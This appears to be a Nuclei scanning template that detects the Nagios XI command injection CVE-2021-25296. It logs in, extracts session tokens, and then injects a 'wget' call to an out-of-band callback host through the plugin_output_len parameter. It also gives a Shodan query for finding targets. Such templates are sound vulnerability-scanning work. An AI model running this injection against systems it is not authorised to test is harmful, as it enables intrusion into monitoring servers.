id: CVE-2021-25296 info: name: Nagios XI versions 5.5.6 to 5.7.5 - Command Injection author: k0pak4 severity: high description: | Nagios XI versions 5.5.6 to 5.7.5 are affected by OS command injection. An authenticated user can gain code execution due to unsanitized URL paramaters. reference: - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md - https://github.com/rapid7/metasploit-framework/pull/17494 - https://nvd.nist.gov/vuln/detail/CVE-2021-25296 - http://nagios.com classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cve-id: CVE-2021-25296 cwe-id: CWE-78 metadata: shodan-query: title:"Nagios XI" verified: "true" tags: rce,oast,authenticated,msf,cve,cve2021,nagiosxi,kev requests: - raw: - | GET /nagiosxi/login.php HTTP/1.1 Host: {{Hostname}} - | POST /nagiosxi/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}} - | GET /nagiosxi/index.php HTTP/1.1 Host: {{Hostname}} - | @timeout: 20s GET /nagiosxi/config/monitoringwizard.php?update=1&nsp={{nsp_auth}}&nextstep=3&wizard=windowswmi&check_wmic_plus_ver=1.65&ip_address=127.0.0.1&domain=127.0.0.1&username=username&password=password&plugin_output_len=9999%3bwget%20{{interactsh-url}}%3b HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: word part: body_4 words: - "Event Log" - "Display Name" condition: and - type: status status: - 200 extractors: - type: regex name: nsp part: body group: 1 regex: - "name=['\"]nsp['\"] value=['\"](.*)['\"]>" internal: true - type: regex part: body name: nsp_auth group: 1 regex: - "var nsp_str = ['\"](.*)['\"];" internal: true